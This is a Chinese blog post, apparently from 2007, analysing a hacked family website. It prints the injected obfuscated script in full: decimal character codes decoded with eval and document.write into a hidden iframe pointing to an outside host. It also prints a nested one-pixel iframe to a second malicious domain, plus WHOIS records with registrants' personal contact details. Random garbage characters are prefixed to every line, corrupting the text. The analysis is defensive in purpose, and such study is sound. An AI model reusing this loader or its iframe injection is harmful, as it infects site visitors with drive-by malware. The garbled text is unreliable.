首发在我的博客里面，
Bu?Qy z2O f#7=N{wm http://www.areway.cn/?p=175 3 ` D[' N_Zd.VnY ,Jn` qvmi 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
4M6[5RAW{ w-NTw2x,& <script>t=’60,105,102,114,97,109,101,
Tdz#,]Q 32,115,114,99,61,104,116,116,112,58,47,47,
knpdECq&k 102,114,101,101,46,117,45,117,117,117,46,99,
~v:IgS 110,47,101,114,114,111,114,46,104,116,109,
ufw[Ei$I: 32,119,105,100,116,104,61,49,48,48,32,104,
s5Wb iOF 101,105,103,104,116,61,48,62,60,47,105,102,
zKaj <Og 114,97,109,101,62′;
bC) <K/Q9 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
rce._w } a"t~ K <script>t=’60,105,102,114,97,109,101,32,115,
4%_xT o 114,99,61,104,116,116,112,58,47,47,102,114,
.!i`YT*jF 101,101,46,117,45,117,117,117,46,99,110,47,
wa`c3PQGu 101,114,114,111,114,46,104,116,109,32,119,
>p;&AaXkoG 105,100,116,104,61,49,48,48,32,104,101,105,
;KEie@Ry 103,104,116,61,48,62,60,47,105,102,114,97,
k\dPF@~Hvl 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
:qAX9T'{t document.write(t);</script>
% -+7=x 3)2{c <html xmlns=”
wf\7sz http://www.w3.org/1999/xhtml p&)d]oV> “>
;mGPX~38 <head>
iC>%P&|-)| <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
7fS NF7/+ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
0L ,!o[L* <title>首页 - 爱生活家庭网
XJy.xI>; BpX` 49 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
fgC@(dvfk 转换字符串后的大概内容是（谁点击后果自付）：
:q j;f];| <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
QP%Hwt]+ sX*L[3!vN 查询玉米u-uuu.cn的详细信息：
EwuRIe;D Domain Name: u-uuu.cn
/& c2y=/'C ROID: 20070901s10001s64972306-cn
loE;q} ^ Domain Status: ok
esQ`6i Registrant Organization: 王雷
UWK|_RT6SA Registrant Name: 王雷
kCoE;)y$ Administrative Email:
czlovexs@126.com ]%FP*YU4O Sponsoring Registrar: 北京万网志成科技有限公司
@,c` #,F/ Name Server:ns.yovole.com
KK6z3"tk5 Name Server:ns1.yovole.com
>msQ@Ch Registration Date: 2007-09-01 17:54
)54a' Hp Expiration Date: 2008-09-01 17:54
kUT^o 最后PING了一下地址 都没有什么….
YU )%-V\ G]EI!-y 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
0S'@(p[A <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
~C g7 <script language=”javascript” src=”
PX2b(fR8_O http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script iWFtb)3B >
>ke.ZZV? 这个玉米应该有可能是木马作者的：
oR,zr foafau.info的详细信息：
5ug|crX Access to INFO WHOIS information is provided to assist persons in
"O|.e`C%^ determining the contents of a domain name registration record in the
| WTWj Afilias registry database. The data in this record is provided by
. jC5 y& Afilias Limited for informational purposes only, and Afilias does not
kt\,$.v8 guarantee its accuracy. This service is intended only for query-based
EA9.?F
access. You agree that you will use this data only for lawful purposes
jENC1T( and that, under no circumstances will you use this data to: (a) allow,
H Vhd#Q; enable, or otherwise support the transmission by e-mail, telephone, or
W,H=K##6< facsimile of mass unsolicited, commercial advertising or solicitations
'Nuy/\[{\ to entities other than the data recipient’s own existing customers; or
P{:Z xli0 (b) enable high volume, automated, electronic processes that send
w:iMrQeJg queries or data to the systems of Registry Operator, a Registrar, or
r ?<kWR?w Afilias except as reasonably necessary to register domain names or
Gr)G-zE modify existing registrations. All rights reserved. Afilias reserves
\&ZE IAe the right to modify these terms at any time. By submitting this query,
ka ;=%*7T you agree to abide by this policy.
JRZp 'Ln Domain ID:D22418703-LRMS
D]rYg' Domain Name:FOAFAU.INFO
bAN>\zG+ Created On:20-Nov-2007 16:05:42 UTC
AkdO:hVtG Last Updated On:20-Nov-2007 16:05:44 UTC
C+jXH)|iq Expiration Date:20-Nov-2008 16:05:42 UTC
6K<o0=,jm2 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
j72mm! Status:CLIENT DELETE PROHIBITED
VlSM/y5 Status:CLIENT RENEW PROHIBITED
KK4e'[Wf Status:CLIENT TRANSFER PROHIBITED
(!J;g|58 Status:CLIENT UPDATE PROHIBITED
^8] 7
Status:TRANSFER PROHIBITED
:F#^Q%-IS Registrant ID:GODA-040110615
7 #oq|5 Registrant Name:liu hong
V[]Pya|s+ Registrant Organization:
8O60pB;4 Registrant Street1:beijing
8bs' Ek{'o Registrant Street2:
?D_i ib7 Registrant Street3:
o:"(\$ Registrant City:beijing
}b doJ5 Registrant State/Province:
9V&+xbR& Registrant Postal Code:100000
[wiB1{/Ls. Registrant Country:CN
UL#:!J/34 Registrant Phone:+86.860108888777
2Oyw#1tdn Registrant Phone Ext.:
["T ro;K# Registrant FAX:
#CAZ}];Qx Registrant FAX Ext.:
_*8 6 Registrant Email:bbbshiji@163.com
C!9my gI Admin ID:GODA-240110615
b`j9}t Z Admin Name:liu hong
MLM/!N 7 Admin Organization:
yJO Jw o^ Admin Street1:beijing
$cwmfF2C Admin Street2:
4,h)<(d{ Admin Street3:
@ ,;h!vB*= Admin City:beijing
m|x_++3 Admin State/Province:
:hW(2= % Admin Postal Code:100000
tX@y ] " Admin Country:CN
_T~&kwe Admin Phone:+86.860108888777
VAUd^6Xdwx Admin Phone Ext.:
PYs0w6o Admin FAX:
0dS (g&ZR Admin FAX Ext.:
?m7i7Dz
Admin Email:bbbshiji@163.com
2G!z/OAj Billing ID:GODA-340110615
9HiyN>( Billing Name:liu hong
; lrO?sm Billing Organization:
CR2.kuM0~ Billing Street1:beijing
G %\/[
B Billing Street2:
&DHIYj1 i Billing Street3:
P2iuB| B@ Billing City:beijing
P$ N5j~* Billing State/Province:
@qjN>PH~ Billing Postal Code:100000
bi+g=cS Billing Country:CN
* B{] Billing Phone:+86.860108888777
0T#z"l<L Billing Phone Ext.:
-%P}L aC < Billing FAX:
V m8dX? Billing FAX Ext.:
"oFi+']* Billing Email:bbbshiji@163.com
.
.S3-(xW Tech ID:GODA-140110615
UzIE,A Tech Name:liu hong
>"b\$",~6 Tech Organization:
c93 Ok | Tech Street1:beijing
&`vThs[x Tech Street2:
:[f[- F Tech Street3:
MZcvr 9y Tech City:beijing
=_g#I Tech State/Province:
i ps)-1 Tech Postal Code:100000
p[At0Gc
L Tech Country:CN
R+ e)TR7+ Tech Phone:+86.860108888777
Dd/]?4 Tech Phone Ext.:
9n_Rk W5g Tech FAX:
h05FR[</ Tech FAX Ext.:
=ud~ Tech Email:bbbshiji@163.com
%hZX XpuO Name Server:NS27.DOMAINCONTROL.COM
k q?:< ! z Name Server:NS28.DOMAINCONTROL.COM
I*(kv7(c0 Name Server:
|r?0!;bN0 Name Server:
P O0Od z Name Server:
m$(OQ,E Name Server:
O'#;G e/, Name Server:
.]zZw B Name Server:
7t}s5}Z 4 Name Server:
w L>*WLfR Name Server:
4 x4[ Name Server:
h)j#?\KYm9 Name Server:
f?eq-/U R Name Server:
w2/3[VZ}l +opym!\ 接着下载每个文件里面的代码：
hJSWh5] 一步一步看..
YDYNAOThnb 
)D'# >!Y 
be]/ ROP>H 
3&{6+ A 
6- /W4L)?> 
qvGm JN0 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
